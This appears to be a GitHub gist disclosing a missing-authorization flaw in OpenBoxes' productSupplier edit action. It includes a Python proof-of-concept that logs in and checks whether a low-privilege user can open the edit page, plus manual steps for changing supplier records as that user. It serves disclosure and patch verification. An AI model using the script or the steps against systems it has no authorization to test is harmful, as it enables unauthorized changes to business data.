Skip to content

Instantly share code, notes, and snippets.

@nedlir
Created June 28, 2026 19:24
Show Gist options
  • Select an option

  • Save nedlir/22cf2f1e5dd337ebba12a1be6ee83150 to your computer and use it in GitHub Desktop.

Select an option

Save nedlir/22cf2f1e5dd337ebba12a1be6ee83150 to your computer and use it in GitHub Desktop.
#!/usr/bin/env python3
import requests
import argparse
import re
from urllib.parse import urljoin
requests.packages.urllib3.disable_warnings()
def login(s, url, user, passwd):
r = s.post(f"{url}/openboxes/login/auth", data={"username": user, "password": passwd})
return "login" not in r.url.lower()
def test(url, user, passwd, supplier_id=None):
s = requests.Session()
s.verify = False
if not login(s, url, user, passwd):
print("[-] Login failed")
return
if not supplier_id:
r = s.get(f"{url}/openboxes/productSupplier/list")
m = re.search(r'/productSupplier/edit/([a-f0-9]+)', r.text)
if m:
supplier_id = m.group(1)
else:
print("[-] No suppliers found")
return
r = s.get(f"{url}/openboxes/productSupplier/edit/{supplier_id}")
if r.status_code == 200 and "suppliername" in r.text.lower():
print(f"[!] VULNERABLE: Can edit productSupplier/{supplier_id}")
elif r.status_code == 403:
print("[+] PATCHED: 403 Forbidden")
else:
print(f"[?] Status {r.status_code}")
if __name__ == "__main__":
parser = argparse.ArgumentParser()
parser.add_argument("url")
parser.add_argument("user")
parser.add_argument("passwd")
parser.add_argument("--supplier-id")
args = parser.parse_args()
test(args.url, args.user, args.passwd, args.supplier_id)

The productSupplier controller's edit action lacked any server-side authorization check. While the create and delete actions were protected by a runtime.groovy RBAC rule requiring ROLE_ADMIN with supplemental ROLE_PRODUCT_MANAGER, the edit action was completely omitted from both the runtime.groovy rules and the RoleInterceptor hardcoded action maps.

This allowed any authenticated user with the lowest privilege level (ROLE_BROWSER) to modify existing product supplier records, including changing supplier names, codes, and manufacturer associations.

Vulnerability Details

Title CWE Affected Versions Fixed In Patch Date
Missing Authorization on productSupplier/edit Controller Action CWE-862: Missing Authorization < v0.9.3 v0.9.3 (PR #4905, commit f767ac1a5) 2024-10-22

CVSS v3.1 Score: 7.6 (High)

Vector String: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:H/A:L

Metric Value Justification
Attack Vector (AV) Network Exploitable over HTTP
Attack Complexity (AC) Low No special conditions required
Privileges Required (PR) Low Any authenticated user (ROLE_BROWSER)
User Interaction (UI) None No user interaction needed
Scope (S) Unchanged Impact limited to the application
Confidentiality (C) Low Can read supplier data via edit page
Integrity (I) High Can modify any product supplier record
Availability (A) Low Corrupted supplier data could disrupt procurement

Affected Components

  • Files: grails-app/controllers/org/pih/warehouse/RoleInterceptor.groovy, grails-app/conf/runtime.groovy
  • Endpoints: POST /openboxes/productSupplier/edit/{id}

Technical Details

Pre-Patch State

In runtime.groovy, the RBAC rule only covered create and delete:

// runtime.groovy line 109 (pre-patch)
[controller: 'productSupplier', actions: ['create', 'delete'],
 accessRules: [minimumRequiredRole: RoleType.ROLE_ADMIN],
 supplementalRoles: [RoleType.ROLE_PRODUCT_MANAGER]],

In RoleInterceptor.groovy, there was no entry for productSupplier in adminActions, managerActions, or any other action map.

The edit action was reachable by any authenticated user.

Post-Patch State

The fix moved all authorization into RoleInterceptor.groovy:

// RoleInterceptor.groovy (post-patch)
def static adminActions = [
    // ...
    'productSupplier': ['create', 'delete', 'edit']  // edit added
]

def static productManagerActions = [
    'productSupplier': ['create', 'delete', 'edit']  // new map
]

A new needProductManager() method and hasRoleProductManager check were added to the interceptor's before() method. The runtime.groovy rule was removed entirely, consolidating all checks.

Steps to Reproduce

Prerequisites

  • OpenBoxes instance running a version before commit f767ac1a5 (pre-October 2024).
  • Two user accounts:
    • Attacker: A low-privilege user with only ROLE_BROWSER (the minimum authenticated role).
    • Admin: An admin account to verify the original supplier data before and after.
  • At least one existing Product Supplier record in the system (note its ID).

Reproduction

Automated Testing: Run poc.py <url> <browser_user> <password> to automatically:

  • Test if the Browser user can access the /productSupplier/edit endpoint
  • Verify authorization bypass

Manual Steps:

  1. Log in as the Browser-level user. Navigate to the OpenBoxes login page and authenticate with the low-privilege account.

  2. Identify a target Product Supplier ID. Product Supplier IDs are visible in the URL when an admin views a product's supplier tab, e.g., /openboxes/productSupplier/edit/ff80818190c3c1e10190c3c2a0e70001. If direct enumeration is not possible, IDs may also appear in the product detail page source or API responses.

  3. Navigate directly to the edit endpoint. In the browser address bar, enter:

    https://<host>/openboxes/productSupplier/edit/<SUPPLIER_ID>
    

    Expected (pre-patch): The edit form loads successfully despite the user only having ROLE_BROWSER. Expected (post-patch): The server returns a 403 Forbidden or redirects to an error page.

  4. Modify a supplier field and submit. On the edit form, change the supplier name or supplier code to a distinctive value (e.g., MODIFIED-BY-BROWSER). Click Save.

  5. Verify the change persisted. Log in as the Admin account. Navigate to the same Product Supplier record. Confirm the field was changed by the browser-level user.

Verification on Patched Version

Repeat step 3 on a version at or after commit f767ac1a5. The interceptor should block access and redirect to the forbidden error page. The edit form should never render for a user without ROLE_ADMIN + ROLE_PRODUCT_MANAGER.

Remediation

Upgrade to version >= v0.9.3

Timeline

Date Event
2024-10-22 Patch merged as PR #4905 (no security advisory)

References

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment